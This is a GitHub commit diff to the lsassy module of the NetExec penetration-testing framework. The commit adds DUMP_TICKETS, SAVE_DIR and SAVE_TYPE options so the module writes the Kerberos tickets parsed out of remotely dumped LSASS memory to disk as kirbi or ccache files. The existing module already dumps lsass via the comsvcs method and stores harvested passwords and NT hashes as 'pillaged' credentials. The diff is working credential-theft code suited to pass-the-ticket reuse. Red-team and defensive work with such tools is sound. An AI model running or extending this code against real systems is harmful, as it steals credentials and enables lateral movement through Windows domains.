Skip to content

Commit 5566578

Browse files
committed
added support for dumping kerberos tickets
1 parent 714c44b commit 5566578

1 file changed

Lines changed: 74 additions & 4 deletions

File tree

nxc/modules/lsassy.py

Lines changed: 74 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,16 @@
44
# https://beta.hackndo.com [FR]
55
# https://en.hackndo.com [EN]
66

7+
import os
8+
import sys
79
from lsassy.dumper import Dumper
810
from lsassy.impacketfile import ImpacketFile
911
from lsassy.parser import Parser
1012
from lsassy.session import Session
1113

12-
from nxc.helpers.bloodhound import add_user_bh
14+
from impacket.krb5.ccache import CCache
1315

16+
from nxc.helpers.bloodhound import add_user_bh
1417

1518
class NXCModule:
1619
name = "lsassy"
@@ -21,13 +24,32 @@ def __init__(self, context=None, module_options=None):
2124
self.context = context
2225
self.module_options = module_options
2326
self.method = None
27+
self.dump_tickets = False
28+
self.save_dir = None
29+
self.ticket_type = "kirbi"
2430

2531
def options(self, context, module_options):
26-
"""METHOD Method to use to dump lsass.exe with lsassy"""
2732
self.method = "comsvcs"
2833
if "METHOD" in module_options:
2934
self.method = module_options["METHOD"]
3035

36+
if "DUMP_TICKETS" in module_options or "SAVE_DIR" in module_options:
37+
if "DUMP_TICKETS" in module_options and "SAVE_DIR" in module_options:
38+
self.dump_tickets = True
39+
self.save_dir = module_options["SAVE_DIR"]
40+
elif "DUMP_TICKETS" in module_options:
41+
context.log.error("DUMP_TICKETS is set but SAVE_DIR is not specified. Both must be set to enable ticket dumping.")
42+
sys.exit(1)
43+
else:
44+
context.log.error("SAVE_DIR is set but DUMP_TICKETS is not specified. Both must be set to enable ticket dumping.")
45+
sys.exit(1)
46+
47+
if "SAVE_TYPE" in module_options:
48+
self.ticket_type = module_options["SAVE_TYPE"]
49+
if self.ticket_type not in ["kirbi", "ccache"]:
50+
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
51+
sys.exit(1)
52+
3153
def on_admin_login(self, context, connection):
3254
host = connection.host
3355
domain_name = connection.domain
@@ -67,7 +89,6 @@ def on_admin_login(self, context, connection):
6789
context.log.fail("Unable to parse lsass dump")
6890
return False
6991
credentials, tickets, masterkeys = parsed
70-
7192
file.close()
7293
context.log.debug("Closed dumper file")
7394
file_path = file.get_file_path()
@@ -84,6 +105,9 @@ def on_admin_login(self, context, connection):
84105
if credentials is None:
85106
credentials = []
86107

108+
if self.dump_tickets and tickets:
109+
self.write_tickets(context, tickets, host)
110+
87111
for cred in credentials:
88112
c = cred.get_object()
89113
context.log.debug(f"Cred: {c}")
@@ -116,6 +140,52 @@ def on_admin_login(self, context, connection):
116140
context.log.debug("Calling process_credentials")
117141
self.process_credentials(context, connection, credentials_output)
118142

143+
def write_tickets(self, context, tickets, host):
144+
if not tickets:
145+
context.log.display("No Kerberos tickets found")
146+
return
147+
148+
if not os.path.exists(self.save_dir):
149+
try:
150+
os.makedirs(self.save_dir)
151+
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
152+
except Exception as e:
153+
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
154+
return
155+
156+
ticket_count = 0
157+
for ticket in tickets:
158+
for filename in ticket.kirbi_data:
159+
try:
160+
base_filename = filename.split(".kirbi")[0]
161+
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
162+
kirbi_data = ticket.kirbi_data[filename]
163+
164+
if self.ticket_type == "ccache":
165+
ccache = CCache()
166+
ccache.fromKRBCRED(kirbi_data.dump())
167+
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
168+
ticket_content = ccache.getData()
169+
else:
170+
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
171+
ticket_content = kirbi_data.dump()
172+
173+
ticket_path = os.path.join(self.save_dir, ticket_filename)
174+
175+
with open(ticket_path, "wb") as f:
176+
f.write(ticket_content)
177+
178+
ticket_count += 1
179+
context.log.debug(f"Saved ticket: {ticket_filename}")
180+
181+
except Exception as e:
182+
context.log.fail(f"Error writing ticket {filename}: {e}")
183+
184+
if ticket_count > 0:
185+
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
186+
else:
187+
context.log.display("No tickets were saved")
188+
119189
def process_credentials(self, context, connection, credentials):
120190
if len(credentials) == 0:
121191
context.log.display("No credentials found")
@@ -162,4 +232,4 @@ def save_credentials(context, connection, domain, username, password, lmhash, nt
162232
else:
163233
credential_type = "hash"
164234
password = ":".join(h for h in [lmhash, nthash] if h is not None)
165-
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
235+
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)

0 commit comments

Comments
 (0)